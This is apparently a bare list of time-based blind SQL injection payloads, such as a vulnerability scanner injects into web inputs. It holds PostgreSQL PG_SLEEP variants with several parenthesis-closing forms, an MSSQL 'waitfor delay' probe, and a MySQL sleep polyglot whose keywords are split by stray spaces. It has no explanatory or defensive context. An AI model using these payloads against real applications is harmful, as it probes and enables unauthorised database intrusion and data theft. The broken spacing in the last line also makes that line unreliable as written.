555-1)) OR 842=(SELECT 842 FROM PG_SLEEP(15))--

555-1) OR 211=(SELECT 211 FROM PG_SLEEP(15))--

555-1 OR 659=(SELECT 659 FROM PG_SLEEP(15))--

555h0Kf4KFI′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/